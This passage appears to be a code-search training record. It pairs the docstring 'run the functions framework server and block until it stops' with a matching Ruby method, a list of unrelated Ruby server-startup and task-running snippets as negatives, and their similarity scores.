stderr_data = Open3.capture3(\"#{setup_docker_env_vars_str} docker-compose start\")\n # 20.times do\n # sleep(1)\n # break if service_running?\n # end\n else\n puts ' status: running'\n end\n # puts \" status: #{service_running? ? 'running' : 'failed to start'} \"\nend", "def run_application\n if Souffle::Config[:daemonize]\n Souffle::Config[:server] = true\n Souffle::Daemon.daemonize(\"souffle\")\n end\n @app.run\n end", "def start_apps\n check_apps\n remove_sockets\n _start_apps(ARGV[1])\nend", "def start\n backend.start\n end", "def setup_background_job\n background_job = config.dig(\"background_job\")\n\n application nil do\n <<~CONFS\n # Default adapter queue\n config.active_job.queue_adapter = :#{background_job}\n\n CONFS\n end\n\n if background_job == \"sidekiq\"\n route \"mount Sidekiq::Web => '/sidekiq'\"\n route \"require 'sidekiq/web'\"\n elsif background_job == \"resque\"\n route \"mount Resque::Server, at: '/jobs'\"\n route \"require 'resque/server'\"\n\n template \"templates/Rakefile.tt\", \"Rakefile\", force: true\n end\n end", "def start\n main_loop\n end", "def define_tasks\n define_weave_task\n connect_common_tasks\n end", "def start\n before_start if respond_to? :before_start\n\n wthreads = if threads <= 1 then [run_thread]\n elsif workers <= 1 then standard_worker\n else wthreads = Array.new(workers){ |i| spawn_worker i } end\n\n after_start if respond_to? :after_start\n\n %i[INT TERM].each{ |sig| trap(sig){ stop } }\n wthreads.each(&:join) if workers > 1\n\n rescue => error\n error(error)\n end", "def start_template_finder\n puts \">> start_template_finder...\"\n # TemplateFinder.new.delay.tf_starter\n TemplateFinder.new.tf_starter\n end", "def start_webserver\n stop_webserver\n Webserver.run!\n end", "def start\n enable_cow\n start_bunny\n register_signals\n create_queues\n end", "def serve(*use_tasks)\n Thread.current[:name] = 'main'\n begin\n @startt = @global_startt = Time.now\n #\n # Create a list of tasks taken from the topoligically sorted chain of tasks, start with the initial task\n # and ending with the terminal task\n #\n if use_tasks.empty?\n tasks = config.tsort.map { |name| config.lookup_task(name) }\n else\n tasks = config.tsort.map { |name| use_tasks.include?(name) ? config.lookup_task(name) : nil }\n tasks.compact!\n end\n\n Task::Config::Compile::TaskDecl.attach_logger(logger)\n\n logger.info \"Number of tasks: #{tasks.length}\"\n\n #\n # Extract producers and consumers from task topoloty\n #\n @ptasks = tasks.select { |task| task.producer? && proc_id == proc_count - 1 }\n @ctasks = tasks.select { |task| task.consumer? }\n #\n # Set up the connection pool\n #\n @@con_pool = @con_pool = ConnectionPool.new(ctasks.map(&:name), 1, csettings)\n #\n # Set up the main Producer and Consumer objects\n #\n @consumers = @ctasks.map { |task| Consumer.new(task, con_pool, jobq) }\n @producers = @ptasks.map { |task| Producer.new(task, con_pool, thpool) }\n #\n # Invoke the producers\n #\n producers.each { |p| p.start }\n #\n # Fire up the consumers\n #\n consumers.each { |c| c.start }\n #\n # Print statistics every 10 secs\n #\n print_reocurring_status()\n #\n # Main loop\n #\n logger.info \"Entering Main Loop\"; flush()\n loop {\n thpool.run_deferred_callbacks()\n thpool.defer(*jobq.pop) until jobq.empty?\n break if complete\n sleep(0.001)\n }\n finish()\n #\n # And that's all folks...\n #\n rescue => e\n error \"#{e.class}: #{e.message}\"\n error e.backtrace.join(\"\\n\")\n raise\n end\n end", "def run\n apply_cli_options!\n # this is where cloudy stuff would go...\n prepare_config\n prepare_installers\n\n transport.connect do |session|\n ui.msg( \"Installing config files\" )\n config_generator.install_config(session)\n ui.msg( \"Executing installer...\" )\n installer.install(session)\n config_generator.run_chef(session, installer)\n end\n end", "def start\n extract\n if managed?\n args = [\"java\", \"-jar\", fcrepo_binary] + fcrepo_options.merge(port: port).map { |k, v| [\"--#{k}\", \"#{v}\"].reject(&:empty?) }.flatten\n\n @pid = spawn(env, *args)\n\n # Wait for fcrepo to start\n until status\n sleep 1\n end\n end\n end", "def work!(robot=nil)\n return if !test? && is_running?\n prepare_robots(robot)\n\n unless cli?\n Celluloid::Actor[:api] = Api.new(self.api_host, self.api_port) if self.use_api\n Celluloid::Actor[:master].start_work\n self.running = true\n sleep # sleep main thread, and let the work commence!\n end\n end", "def start\n Server.supervise_as :tishadow_server, self, :run_on_connect\n Builder.supervise_as :tishadow_builder, :build_command => @build_command, :verbose => @verbose, :update => @update, :spec => @spec, :app_root => @app_root\n @builder = Celluloid::Actor[:tishadow_builder]\n @server = Celluloid::Actor[:tishadow_server]\n @server.async.start\n end", "def start\n unpack_scripts if File.exist?(DEFLATE_SCRIPT_PATH)\n # Load PSDK Scripts\n if File.exist?(index_filename)\n load_script_from_index\n else\n File.open(SCRIPT_INDEX_PATH, 'w') do |file|\n load_vscode_scripts(VSCODE_SCRIPT_PATH, file)\n end\n end\n # Load RMXP Scripts\n load_rmxp_scripts\n # Load Project Scripts\n load_vscode_scripts(PROJECT_SCRIPT_PATH) if index_filename == SCRIPT_INDEX_PATH\n end", "def perform_background_tasks\n self.check_clipboard\n self.check_resolvers\n self.check_downloads\n self.check_captchas\n self.refresh_task_table\n self.update_download_buttons\n end", "def setup\n setup_methods.each { |m| self.send(m) }\n start_services\n \n wait_time = cfg('wait-after-startup')\n if not wait_time.nil?\n 1.upto(wait_time) do |i|\n puts \"Waiting #{wait_time-i} seconds before commencing benchmarks\"\n sleep 1\n end\n end\n end", "def start(params)\n Felixwrapper.configure(params)\n Felixwrapper.instance.start\n return Felixwrapper.instance\n end", "def background_rake(task)\n on roles(:app) do\n execute \"cd #{release_path}; ( ( nohup bundle exec rake RAILS_ENV=#{fetch(:rails_env)} #{task} &>/dev/null ) & )\"\n end\nend", "def fire!\n if @setup_file\n vmsg \"Running #{@setup_file} first\"\n load @setup_file\n else\n vmsg \"No setup file #{@setup_file} to run\"\n end\n if @options.run_separately\n @files.each { |file|\n _print_banner(file)\n load file\n Whitestone.run(_whitestone_options)\n }\n else\n @files.each { |file|\n vmsg \"Loading file: #{file}\"\n load file\n }\n Whitestone.run(_whitestone_options)\n end\n end", "def start\n \n register_signal_handlers\n log.info(\"Registered event handlers...\")\n \n EM.synchrony do\n do_work\n end\n \n end", "def start!\n update_proc_title(:starting)\n\n server_thread = Thread.new do\n logger.info { \"[gruf] Starting gruf server at #{@hostname}...\" }\n server.run_till_terminated_or_interrupted(KILL_SIGNALS)\n end\n @started = true\n update_proc_title(:serving)\n server_thread.join\n @started = false\n\n update_proc_title(:stopped)\n logger.info { '[gruf] Goodbye!' }\n end", "def start\n validate!\n start_messages\n create_workers\n Process.wait\n end", "def start\n validate!\n start_messages\n create_workers\n Process.wait\n end", "def start\r\n return if running?\r\n\r\n log(\"Starting Runner...\")\r\n run!\r\n end", "def start\n _bootstrap!\n self.started = true\n end", "def start *args\n return unless iterm?\n\n init\n\n unless @error_message\n _file = set_file @config.running_file, @config.running_url, @running_tmp\n _file ||= ''\n change_background _file\n end\n rescue => e\n @error_message = e.inspect\n end", "def start\n ucommand(:start)\n end", "def run\n reconfigure\n setup_application\n run_application\n end", "def run_application\n if Chef::Config[:version]\n puts \"#{ChefUtils::Dist::Infra::PRODUCT} version: #{::Chef::VERSION}\"\n end\n\n if !Chef::Config[:client_fork] || Chef::Config[:once]\n begin\n # run immediately without interval sleep, or splay\n run_chef_client(Chef::Config[:specific_recipes])\n rescue SystemExit\n raise\n rescue Exception => e\n Chef::Application.fatal!(\"#{e.class}: #{e.message}\", e)\n end\n else\n interval_run_chef_client\n end\n end", "def execute(&each_mach)\n routine_separator(:startup)\n unless @routine\n STDERR.puts \"[this is a generic startup routine]\"\n @routine = {}\n end\n machines = generic_machine_runner(:create) \n machines\n end", "def start\n test_btc\n test_email\n end", "def start\n api = @settings[:api] || {}\n bind = api[:bind] || \"0.0.0.0\"\n port = api[:port] || 4567\n start_http_server(bind, port)\n super\n end", "def setup\n logger.info 'setup workers'\n\n setup_refresh_timer\n setup_analyze_timer\n end", "def ensure_fms_start_successfully host, installation_path, timeout = 1000\n process = STAF::Process.new 'STAF', host\n fs = STAF::FS.new 'STAF', host\n variant = STAF::Var.new 'STAF', host\n\n log_path = \"#{installation_path}/logs/\"\n\n start_time = Time.new.to_i\n timeout.downto(1) do\n begin\n logs = fs.list :path => log_path, :sort => \"DESC\"\n break unless logs.empty?\n rescue Exception => e\n print '.'\n end\n\n if Time.new.to_i - start_time > timeout\n error_message = \"Foglight server startup timeout, the log file did not appear in #{timeout} seconds\"\n raise RuntimeError, error_message\n end\n\n sleep(1)\n end\n timeout = timeout - (Time.new.to_i - start_time)\n\n # find out log file name\n log_file_name = fs.list(:path => log_path, :sort => \"ASC\").get_first\n\n # create log reader for checking the log\n log_reader = LogHelper::LogReader.new(host, (log_path + log_file_name))\n log_reader.only_filters = [\"ERROR\", \"FATAL\"]\n\n is_started = false\n timeout = timeout\n start_time = Time.new.to_i\n timeout.downto(1) do\n if fs.file_contains_str? :file_path => log_path + log_file_name,\n :expected_string => \"Forge Server startup completed.\"\n is_started = true\n break\n end\n\n # break if timeout\n break if Time.new.to_i - start_time > timeout\n\n # check log to find if any error\n log_reader.check!\n\n print '.'\n sleep(1)\n end\n\n unless is_started\n error_message = \"Could not start Foglight server properly, start time out\"\n raise Interrupt, error_message\n end\n end", "def define_tasks\r\n define_clobber_task\r\n define_build_task\r\n end", "def run(targets, verbose: false)\n targets.each do |service|\n if service.pid?\n puts \"Service `#{service.name}` already running, use `#{bin} restart #{service.name}` to restart.\"\n next\n elsif System.root?\n puts \"Service `#{service.name}` cannot be run (but can be started) as root.\"\n next\n end\n\n service_load(service, enable: false)\n end\n end", "def start!\n http_server.start\n self\n end", "def start\n\t\t\t@named.each do |name, service|\n\t\t\t\tAsync.logger.debug(self) {\"Starting #{name}...\"}\n\t\t\t\tservice.start\n\t\t\tend\n\t\tend", "def run\n puts \"Hello world\"\n end", "def define_tasks\r\n define_repeat_task\r\n define_clobber_task\r\n define_build_task\r\n end", "def register_tasks(&block)\n namespace(@name) do |ns|\n\n file file_name => BUILD::DIRS + [(base_image.file_name rescue nil)].compact do\n puts \"Building #{@full_comment} image\"\n build_image\n end\n\n desc \"Build a #{@full_comment} image\"\n task :build => file_name\n\n desc \"Rebuild a #{@full_comment} image\"\n task :rebuild do\n Rake::Task[\"#{@name}:clean\"].invoke\n Rake::Task[file_name].invoke\n end\n\n desc \"Start a #{@full_comment} image\"\n task :start => file_name do\n puts \"Starting #{@full_comment} image\"\n Smallworld.start_gis @name\n end\n\n desc \"Run unit tests for #{@full_comment} image\"\n task :test do\n puts \"Starting unit tests for #{@full_comment} image\"\n\n ENV['TEST_RUNNER_PRODUCT'] = 'munit'\n Rake::Task[\"#{@name}:rebuild\"].invoke\n end\n\n desc \"Run a script with #{@full_comment} image\"\n task :run_script => :build do\n\n script_file = ENV['RUN_SCRIPT']\n fail \"#{@name}:run: set environment variable RUN_SCRIPT to the appropriate file\" if not script_file\n fail \"#{@name}:run: '#{script_file}' does not exist\" if not File.exists?(script_file)\n\n run_image = self.clone\n\n run_image.filters = [IgnoreOutputFilter.new] if not Rake::application.options.trace\n\n puts \"Running script '#{script_file}' for image #{@full_comment}\"\n exit_code = run_image.run @name, script_file\n\n fail \"running the script failed: runalias.exe returned #{exit_code}\" if exit_code != 0\n end\n\n desc \"Remove the image for #{@full_comment}\"\n task :clean do\n rm_f file_name\n end\n\n ns.tasks.each do |task|\n task.enhance(&block) if block_given?\n end\n\n end\n end", "def start\n # Start dependencies\n @dependencies.each do |dependency|\n dependency.start unless dependency.running?\n end\n\n # Create a container object\n if @container.nil?\n prepare_image\n prepare_container\n end\n\n @container.start unless @container.nil?\n end", "def call_fns(fns, app)\n fns.each {|fn| app.instance_exec(&fn)}\n end", "def work!\n @status.start!\n \n puts \"Environment: #{Scales.env}\".green\n puts \"Application: #{@type.name}\".green\n puts \"Path: #{Dir.pwd}\".green\n puts \"Log Path: #{@status.log_path}\".green\n puts \"Threads: #{Scales.config.worker_threads}\".green\n puts \"Redis: #{Scales.config.host}:#{Scales.config.port}/#{Scales.config.database}\".green\n \n begin\n start_pool!\n rescue Interrupt => e\n @pool.map(&:exit)\n puts \"Goodbye\".green\n end\n end", "def start!\n Scarlet.root = File.expand_path File.dirname(__FILE__)\n Scarlet.config.merge! YAML.load_file(\"#{Scarlet.root}/config.yml\").symbolize_keys\n # create servers\n Scarlet.config.servers.each do |name, cfg|\n cfg[:server_name] = name\n @@servers[name] = Server.new cfg\n end\n # for safety delete the servers list after it gets loaded\n Scarlet.config.delete :servers\n # connect servers\n @@servers.values.each do |server|\n server.connection = EventMachine::connect(server.config.address, server.config.port, Connection, server)\n end\n Scarlet.load_commands\n end" ]
[ "0.60056525", "0.59079665", "0.58106196", "0.57933325", "0.5769415", "0.57481724", "0.57481724", "0.57481724", "0.5702265", "0.5702265", "0.5702265", "0.5671864", "0.5635277", "0.5633227", "0.5622795", "0.558078", "0.55694795", "0.5569316", "0.5560733", "0.55540943", "0.5518623", "0.55146986", "0.5497905", "0.54949087", "0.5487464", "0.5478215", "0.54591787", "0.5437148", "0.5432442", "0.5407079", "0.5378697", "0.5376889", "0.5351493", "0.5349543", "0.53490376", "0.53468513", "0.5333411", "0.5310275", "0.528167", "0.5265594", "0.5242862", "0.52294004", "0.52270776", "0.52224034", "0.52036345", "0.5200644", "0.51995367", "0.5193168", "0.51916003", "0.5186645", "0.5183667", "0.5178797", "0.5157786", "0.5148315", "0.5145401", "0.5138967", "0.513191", "0.51114684", "0.51111376", "0.5107929", "0.51037896", "0.510366", "0.5098229", "0.5096436", "0.50948066", "0.5092107", "0.5088369", "0.5086006", "0.5084445", "0.5070813", "0.5067323", "0.5063863", "0.5062097", "0.5057227", "0.5039412", "0.50352985", "0.5034049", "0.5034049", "0.5028694", "0.5026357", "0.50242406", "0.50236315", "0.5018435", "0.5016667", "0.50159305", "0.5015873", "0.5010475", "0.500904", "0.5005435", "0.50031507", "0.50002825", "0.4992343", "0.49846053", "0.4981961", "0.498077", "0.49752355", "0.49657515", "0.49627438", "0.49616265", "0.49542707" ]
0.7279588
0
Run the functions framework server and block until it stops. The server will look up the given target function name in the global registry.
def run target, &block server = start target, &block server.wait_until_stopped self end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def start target, &block\n require \"functions_framework/server\"\n if target.is_a? ::FunctionsFramework::Function\n function = target\n else\n function = global_registry[target]\n raise ::ArgumentError, \"Undefined function: #{target.inspect}\" if function.nil?\n end\n globals = function.populate_globals\n server = Server.new function, globals, &block\n global_registry.startup_tasks.each do |task|\n task.call function, globals: globals, logger: server.config.logger\n end\n globals.freeze\n server.respond_to_signals\n server.start\n end", "def serve(function, &block)\n # Establish callback handler\n callback = Proc.new do |connection, function_handle, error|\n function_call = FunctionCall.new(function_handle)\n yield(function_call)\n end\n rc = NWRFCLib.install_server_function(nil, function.desc, callback, @error)\n NWRFC.check_error(@error) if rc > 0\n\n # Server loop\n while (rc==NWRFCLib::RFC_RC[:RFC_OK] || rc==NWRFCLib::RFC_RC[:RFC_RETRY] || rc==NWRFCLib::RFC_RC[:RFC_ABAP_EXCEPTION])\n rc = NWRFCLib.listen_and_dispatch(@handle, TIMEOUT, @error)\n end\n end", "def run\n @run_mutex.synchronize do\n fail 'cannot run without registering services' if rpc_descs.size.zero?\n @server.start\n transition_running_state(:running)\n @run_cond.broadcast\n end\n loop_handle_server_calls\n end", "def run_webrick(config = {})\n config.update :Port => 8080\n server = HTTPServer.new config\n yield server if block_given?\n [\"INT\", \"TERM\"].each { |signal| trap(signal) { server.shutdown } }\n server.start\nend", "def run\n raise 'Server has shutdown.' unless @server\n @server.run_till_terminated\n @server = nil\n end", "def run_server_thread; end", "def masterrun\n self.workersrun \n self.serverrun \n end", "def run(fn)\n C.run_function_pass_manager(self, fn) != 0\n end", "def run(fn)\n C.run_function_pass_manager(self, fn) != 0\n end", "def run_function(name, params)\n payload = Payload.new\n payload.function_name = name\n payload.params = params\n call_route(:function, name, payload)\n end", "def run\n puts \"Hello world\"\n end", "def run\n start\n jetty.join\n end", "def start_webrick(config = {})\n config.update(:Port => 8080) \n server = HTTPServer.new(config)\n yield server if block_given?\n ['INT', 'TERM'].each {|signal| \n trap(signal) {server.shutdown}\n }\n server.start\n\nend", "def server(&blk); end", "def server(&blk); end", "def run\n trap('INT') { http_server.shutdown }\n http_server.start\n end", "def run_loop\n end", "def run(name); end", "def run\n @script.parse!\n @handler.listen(monitored_paths)\n rescue Interrupt\n end", "def run(_); end", "def run(_); end", "def run\n @script.parse!\n handler.listen(monitored_paths)\n rescue Interrupt\n end", "def run\n loop do\n break unless app_loop\n end\n end", "def run\n loop{\n @client = @server.accept\n @serverPool.schedule(@client)\n }\n end", "def run\n loop{\n @client = @server.accept\n @serverPool.schedule(@client)\n }\n end", "def run_server\n EM.synchrony do\n @app = Rack::Builder.new do\n use Rack::Lint\n use Rack::ShowExceptions\n run Rack::Cascade.new([Souffle::Http])\n end.to_app\n\n Rack::Handler.get(:thin).run(@app, rack_options)\n end\n end", "def server; end", "def server; end", "def server; end", "def server; end", "def server; end", "def server; end", "def server; end", "def server; end", "def start_run; end", "def start\n # we trap CTRL+C in the console and kill the server\n trap(\"INT\") { BeEF::Core::Server.instance.stop }\n \n # starts the web server\n @http_server.start\n end", "def run\n configure_middleware(rack_builder = Rack::Builder.new)\n rack_builder.run(rack_app)\n\n # Choose and start a Rack handler\n @context.running_server = available_server\n @context.running_server.run rack_builder.to_app, :Host => @context.host, :Port => @context.port do |server|\n [:INT, :TERM].each {|sig| trap(sig) { (server.respond_to? :stop!) ? server.stop! : server.stop } }\n puts \"A#{'n' if @environment =~ /\\A[aeiou]/} #{@environment} Tanuki appears! Press Ctrl-C to set it free.\",\n \"You used #{@context.running_server.name.gsub(/.*::/, '')} at #{@context.host}:#{@context.port}.\"\n end\n end", "def run! path = nil, options = {}\n paths = options[:paths] || self.class::BIND_PATHS\n\n # Action\n \n case\n when options.include?(:node)\n path ||= normalize('node.js')\n action = lambda { node(path) }\n when options.include?(:air)\n path ||= normalize('air.xml')\n action = lambda { air(path) }\n when options.include?(:airconsole)\n path ||= normalize('console.xml')\n action = lambda { air(path) }\n when options.include?(:rhino)\n path ||= normalize('rhino.js')\n action = lambda { rhino(path) }\n when options.include?(:server)\n raise 'Cannot use --bind with --server' if options.include? :bind\n path ||= normalize('server.html')\n action = lambda { start_server path, options }\n else\n path ||= normalize('dom.html')\n browsers = browsers_for options[:browsers] || ['default']\n action = lambda do\n browsers.each do |browser|\n browser.visit File.expand_path(path)\n end\n end\n end \n \n # Bind action\n \n if options.include? :bind\n Bind::Listener.new(\n :paths => paths,\n :interval => 1,\n :actions => [action],\n :debug => $stdout).run!\n else\n exit !! action.call\n end\n end", "def main\n s = GRPC::RpcServer.new\n s.add_http2_port('0.0.0.0:50051', :this_port_is_insecure)\n s.handle(GreeterServer)\n # Runs the server with SIGHUP, SIGINT and SIGQUIT signal handlers to \n # gracefully shutdown.\n # User could also choose to run server via call to run_till_terminated\n s.run_till_terminated_or_interrupted([1, 'int', 'SIGQUIT'])\nend", "def main\n s = GRPC::RpcServer.new\n s.add_http2_port('0.0.0.0:50051', :this_port_is_insecure)\n s.handle(GreeterServer)\n # Runs the server with SIGHUP, SIGINT and SIGQUIT signal handlers to\n # gracefully shutdown.\n # User could also choose to run server via call to run_till_terminated\n s.run_till_terminated_or_interrupted([1, 'int', 'SIGQUIT'])\nend", "def main\n s = GRPC::RpcServer.new\n s.add_http2_port('0.0.0.0:50051', :this_port_is_insecure)\n s.handle(GreeterServer)\n # Runs the server with SIGHUP, SIGINT and SIGQUIT signal handlers to\n # gracefully shutdown.\n # User could also choose to run server via call to run_till_terminated\n s.run_till_terminated_or_interrupted([1, 'int', 'SIGQUIT'])\nend", "def run\n # Include all handlers now.\n Dir['./handlers/*.rb'].sort.each do |file|\n require file\n end\n\n @config.bots.each do |bot_id, bot_data|\n conn = DiscordConnection.new(bot_data)\n\n conn.connection_id = bot_id\n\n conn.message do |msg|\n next unless @config.discord.allowed_channel_types.include?(msg.channel.channel_type)\n\n if (prefix = check_prefix(msg.text))\n CommandDispatcher.handle prefix, msg\n else\n @handlers.each do |handler|\n break if handler.call(msg) == true\n end\n end\n end\n\n conn.mention do |msg|\n next unless @config.discord.allowed_channel_types.include?(msg.channel.channel_type)\n next if msg.content.match? /^(\\.|\\!)(a|d|add_|del_|delete_|remove_|count_)?q(uote|s|uotes|uote_count)?\\b/\n next unless msg.content.present?\n next if bot_data.client_type == :user\n\n msg.send_message \"#{msg.message.author.mention}, please type `.help` if you would like to learn more about my functions!\"\n end\n\n @connections.push conn\n conn.connect\n end\n\n SweetieBot.log \"Made #{@connections.length} connection#{@connections.length > 1 ? 's' : ''}.\"\n SweetieBot.log 'Ready!'\n\n # keep the main thread alive\n loop do\n if @should_stop\n stop!\n exit\n end\n\n sleep 1\n end\n end", "def fsr(server = TCC.options.command_server)\n log server: server\n sock = FSR::CommandSocket.new(server: server)\n cmd = yield(sock)\n log cmd.raw\n cmd.run.tap{|response| log(response) }\n ensure\n sock.socket.close if sock.respond_to?(:socket)\n end", "def run\n loop do\n schedule(@fileserver.accept) do |client|\n loop do\n request = client.gets.chomp\n if request[0..4] == \"OPEN:\"\n open_request(request, client)\n elsif request[0..5] == \"CLOSE:\"\n close_request(request[6..request.length-1].to_s, client)\n elsif request[0..4] == \"READ:\"\n read_request(request, client)\n elsif request[0..5] == \"WRITE:\"\n write_request(request, client)\n\t elsif request[0..4] ==\"TIME:\"\n\t time_request(request, client)\n end\n end\n end\n end\n @fileserver.close\n at_exit { @pool.shutdown }\n end", "def start!\n update_proc_title(:starting)\n\n server_thread = Thread.new do\n logger.info { \"[gruf] Starting gruf server at #{@hostname}...\" }\n server.run_till_terminated_or_interrupted(KILL_SIGNALS)\n end\n @started = true\n update_proc_title(:serving)\n server_thread.join\n @started = false\n\n update_proc_title(:stopped)\n logger.info { '[gruf] Goodbye!' }\n end", "def run(host: nil, port: DEFAULT_PORT, &block)\n logger.info \"Listening on port #{port}\"\n\n Socket.udp_server_loop host, port do |msg, sender|\n logger.debug { \"#{sender.remote_address.inspect} -> '#{msg.inspect}'\" }\n handler = @handlers.find { |h| h.handles? msg } || next\n @state_lock.synchronize do\n handle(handler, msg, sender, &block)\n end\n end\n nil\n end", "def run port, verbose_level, script_inject, upstream_host, upstream_port\n\t\tbegin\n\t\t\t# Start our server to handle connections (will raise things on errors)\n\t\t\t@socket = TCPServer.new port\n\t\t\t@verbose_level = verbose_level\n\t\t\t@upstream_host = upstream_host\n\t\t\t@upstream_port = upstream_port\n\t\t\t@script_inject = script_inject\n\n\t\t\trequest_number = 0\n\t\t\t# Handle every request in another thread\n\t\t\tloop do\n\t\t\t\ts = @socket.accept\n\n\t\t\t\tThread.new s, request_number, &method(:handle_request)\n\t\t\t\trequest_number += 1\n\t\t\tend\n\n\t\t# CTRL-C\n\t\trescue Interrupt\n\t\t\tputs 'Got Interrupt..'\n\t\t\t# Ensure that we release the socket on errors\n\t\tensure\n\t\t\tif @socket\n\t\t\t\t@socket.close\n\t\t\t\tputs 'Socked closed..'\n\t\t\tend\n\t\t\tputs 'Quitting.'\n\t\tend\n\tend", "def runserver!(host: '127.0.0.1', port: '3456')\n configure!(mode: :server, target: :development)\n status = 0 # running: 0, reload: 1, exit: 2\n # spawn a thread to watch the status flag and trigger a reload or exit\n monitor = Thread.new do\n sleep 0.1 while status.zero?\n # Shutdown the server, wait for it to finish and then wait a tick\n Rack::Handler::WEBrick.shutdown\n sleep 0.1\n # Use ps to get the command that the user executed, and use Kernel.exec\n # to execute the command, replacing the current process.\n # Basically restart everything.\n Kernel.exec(`ps #{$PID} -o command`.split(\"\\n\").last) if status == 1\n end\n\n # trap ctrl-c and set status flag\n trap('SIGINT') do\n if status == 1\n status = 2 # ctrl-c hit twice or more, set status to exit\n elsif status.zero?\n # ctrl-c hit once, notify user and set status to reload\n puts \"\\nReloading the server, hit ctrl-c twice to exit\\n\"\n status = 1\n end\n end\n\n puts \"\\nStarting Dev server, hit ctrl-c once to reload, twice to exit\\n\"\n require 'webrick/accesslog'\n access_log = [[$stderr, WEBrick::AccessLog::COMMON_LOG_FORMAT]]\n Rack::Handler::WEBrick.run(self, Host: host, Port: port, AccessLog: access_log)\n monitor.join # let the monitor thread finish its work\n end", "def run opts = {}\n boot!\n\n handler = opts.delete(:server)\n (handler && Rack::Handler.const_defined?(handler)) || (handler = HTTP__DEFAULT_SERVER)\n\n port = opts.delete(:port)\n opts[:Port] ||= port || HTTP__DEFAULT_PORT\n\n host = opts.delete(:host) || opts.delete(:bind)\n opts[:Host] = host if host\n\n $stderr.puts \"\\n--- Starting Espresso for %s on %s port backed by %s server ---\\n\\n\" % [\n environment, opts[:Port], handler\n ]\n Rack::Handler.const_get(handler).run app, opts do |server|\n %w[INT TERM].each do |sig|\n Signal.trap(sig) do\n $stderr.puts \"\\n--- Stopping Espresso... ---\\n\\n\"\n server.respond_to?(:stop!) ? server.stop! : server.stop\n end\n end\n server.threaded = opts[:threaded] if server.respond_to? :threaded=\n yield server if block_given?\n end\n end", "def begin!\n start_server\n end", "def run\n\t\t# Empezamos a escuchar al servidor\n\t\tlisten\n\t\t# Empezamos a enviar al servidor\n\t\tsend\n\t\t# Revisamos el estado de la conexion\n\t\t# check_alvie\n\t\t# Al terminar cerramos los Threads\n\t\t@request.join if @request.alive?\n\t\t@response.join if @response.alive?\n\tend", "def main\n s = GRPC::RpcServer.new\n s.add_http2_port('0.0.0.0:50051', :this_port_is_insecure)\n s.handle(RequesterServer)\n s.run_till_terminated\nend", "def start_async\n\t\tObject.const_set(\"NO_PLEZI_AUTO_START\", true) unless defined?(NO_PLEZI_AUTO_START)\n\t\treturn GReactor.start if GReactor.running?\n\t\tputs \"Starting Plezi #{Plezi::VERSION} Services using GRHttp #{GRHttp::VERSION} and GReactor #{GReactor::VERSION}.\"\n\t\tGReactor.on_shutdown { puts \"Plezi shutdown. It was fun to serve you.\" }\n\t\tGReactor.start ::Plezi::Settings.max_threads\n\tend", "def run\n raise \"ferret_server not configured for #{RAILS_ENV}\" unless (@cfg.uri rescue nil)\n run_drb_service\n end", "def run\n @output.print \"Run, Forest, run!\"\n \n EM.synchrony do\n print \"Mapper has been started #{Time.now}\"\n AMQP.start do |connection|\n print \"AMQP started #{Time.now}\"\n channel = AMQP::Channel.new connection\n queue = channel.queue(@config[\"broker\"][\"queue-name\"], :auto_delete => true)\n queue.subscribe do |payload|\n print \"Received message #{payload}\"\n connection.close {EM.stop} if payload == \"stop\"\n Fiber.new{start}.resume if payload == \"start\"\n Fiber.new {match}.resume if payload == 'match'\n EM.defer {start_webserver} if payload == 'start_webserver'\n EM.defer {start_search_server} if payload == 'start_solr'\n EM.defer {stop_search_server} if payload == 'stop_solr'\n EM.defer {add_db_to_search_index} if payload == 'index'\n EM.defer {setup_storage} if payload == 'setup_storage'\n end\n end\n end\n end", "def execute\n \n if run?\n Rudy::Routines::Handlers::Depends.execute_all @before, @argv\n \n li \" Executing routine: #{@name} \".att(:reverse), \"\"\n ld \"[this is a generic routine]\" if @routine.empty?\n \n if @routine.has_key? :before_local\n handler = Rudy::Routines.get_handler :local\n Rudy::Routines.rescue {\n handler.execute(:local, @routine.delete(:before_local), nil, @@lbox, @argv)\n }\n end\n \n Rudy::Routines.rescue {\n unless Rudy::Routines::Handlers::Group.exists? \n Rudy::Routines::Handlers::Group.create\n end\n # Run this every startup incase the ip address has changed. \n # If there's an exception it's probably b/c the address is\n # already authorized for port 22. \n Rudy::Routines::Handlers::Group.authorize rescue nil\n }\n \n Rudy::Routines.rescue {\n unless Rudy::Routines::Handlers::Keypair.exists? \n Rudy::Routines::Handlers::Keypair.create\n end\n }\n \n end\n \n ## li Rudy::Routines.machine_separator(machine.name, machine.awsid)\n \n # If this is a testrun we won't create new instances\n # we'll just grab the list of machines in this group. \n # NOTE: Expect errors if there are no machines.\n Rudy::Routines.rescue {\n @machines = if !run?\n Rudy::Machines.list\n elsif Rudy::Routines::Handlers::SpotRequest.needed?\n request = Rudy::Routines::Handlers::SpotRequest.create\n Rudy::Machines.from_spot_request(request)\n else\n Rudy::Machines.create\n end\n \n @@rset = Rudy::Routines::Handlers::RyeTools.create_set @machines\n }\n \n \n Rudy::Routines.rescue {\n if !Rudy::Routines::Handlers::Host.is_running? @@rset\n a = @@rset.boxes.select { |box| !box.stash.instance_running? }\n raise GroupNotRunning, a\n end\n }\n \n # This is important b/c the machines will not \n # have DNS info until after they are running. \n # This will also assign elastic IP addresses. \n Rudy::Routines.rescue { Rudy::Routines::Handlers::Host.update_dns @@rset }\n \n Rudy::Routines.rescue {\n if !Rudy::Routines::Handlers::Host.is_available? @@rset\n a = @@rset.boxes.select { |box| !box.stash.instance_available? }\n raise GroupNotAvailable, a\n end\n }\n Rudy::Routines.rescue {\n Rudy::Routines::Handlers::Host.set_hostname @@rset \n }\n \n if run?\n # This is the meat of the sandwich\n Rudy::Routines.runner @routine, @@rset, @@lbox, @argv\n\n Rudy::Routines.rescue {\n Rudy::Routines::Handlers::Depends.execute_all @after, @argv\n }\n \n end\n \n @machines\n end", "def main_loop\n Thread.start(@protocol.accept) do |client|\n @grp.add Thread.current\n Thread.current['DRb'] = { 'client' => client ,\n 'server' => self }\n DRb.mutex.synchronize do\n client_uri = client.uri\n @exported_uri << client_uri unless @exported_uri.include?(client_uri)\n end\n loop do\n begin\n succ = false\n invoke_method = InvokeMethod.new(self, client)\n succ, result = invoke_method.perform\n if !succ && verbose\n p result\n result.backtrace.each do |x|\n puts x\n end\n end\n client.send_reply(succ, result) rescue nil\n ensure\n client.close unless succ\n if Thread.current['DRb']['stop_service']\n Thread.new { stop_service }\n end\n break unless succ\n end\n end\n end\n end", "def run_command f\n return\nend", "def run_all\n run(\"features\")\n end", "def start_handler\n end", "def run_main\n end", "def start_framework\n @fw_thread = 